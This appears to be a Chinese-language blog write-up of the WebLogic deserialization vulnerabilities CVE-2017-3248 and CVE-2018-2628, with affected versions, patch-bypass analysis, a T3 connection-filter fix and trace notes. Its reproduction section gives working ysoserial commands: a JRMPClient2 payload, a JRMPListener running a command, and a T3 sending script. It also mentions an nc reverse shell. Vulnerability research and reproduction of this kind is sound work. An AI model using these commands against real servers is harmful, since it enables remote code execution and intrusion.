CVE-2017-3248&CVE-2018-2628

    xiaoxiao2025-06-23  18

    CVE-2017-3248

    漏洞利用前提

    影响版本 WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.0 WebLogic 12.2.1.1

    原理简析

    这个漏洞的产生是因为绕过了cve-2015-4852的补丁,该补丁中采用黑名单的方式过滤危险的反序列化类,但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击

    漏洞利用方法

    与cve-2018-2628一致,因为cve-2018-2628就是绕过了cve-2017-3248的补丁而已,所以CVE-2018-2628可以利用的payload同样可以应用于本漏洞

    修复方案

    参考CVE-2018-2628

    痕迹分析

    同CVE-2018-2628

    CVE-2018-2628

    漏洞利用前提

    版本 Oracle WebLogic Server10.3.6.0 Oracle WebLogic Server12.2.1.2 Oracle WebLogic Server12.2.1.3 Oracle WebLogic Server12.1.3.0

    配置 开启T3协议(默认为开启状态)

    原理简析

    这个洞产生原因是 weblogic 对于 T3 协议发送的数据包没有过滤,攻击者通过T3协议发送一段序列化后的恶意数据,这段数据经过weblogic反序列后生成的对象会请求攻击者的rmi服务端,加载恶意数据,再反序列化生成一个对象,利用反射机制导致命令执行。

    说到这个漏洞就不得不提CVE-2017-3248,因为这个漏洞是绕过CVE-2017-3248的补丁而产生的,我们先来看看3248的补丁做了什么 由上图可见,补丁采用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

    绕过思路很简单,找另外一个可利用的RMI接口,这里使用java.rmi.activation.Activator来生成payload

    漏洞利用方法

    我们使用著名的ysoserial工具来进行复现

    生成payload

    java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar payload 攻击者服务器ip:攻击者服务器监听的端口 > payload写入的文件

    例:生成的payload写入文件axin java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 127.0.0.1:1099 > axin

    注意:这里使用的是JRMPClient2,这个版本是使用的java.rmi.activation.Activator来生成payload,除此之外ysoserial中还有一个JRMPClient,这个版本则是使用的java.rmi.registry.Registry生成payload

    攻击者服务器上进行监听

    java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar exploit 监听端口 使用的类 需要执行的命令

    例:java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping 123333.3w9vbg.ceye.io"

    发送payload到目标主机

    这里需要用到一个利用T3协议发送数据的脚本 python weblogic.py 目标主机 目标端口 payload文件

    例:python weblogic.py 127.0.0.1 7001 axin 如果利用成功可以在ceye.io平台上看到相应的DNS解析记录,这也就说明了命令成功执行了。 监听端,收到来自目标机的请求 ceye平台有相应dns解析记录 至此漏洞复现完成,当然还可以尝试执行其他命令,例如在特定场景下利用nc反弹一个shell等

    修复方案

    打补丁禁用T3协议 连接筛选器填:weblogic.security.net.ConnectionFilterImpl 筛选规则填取:* * 7001 deny t3 t3s (根据需要修改) 重启生效。

    痕迹分析

    该漏洞直接利用t3协议触发,在日志中不会有记录,所以很难排查痕迹

    最新回复(0)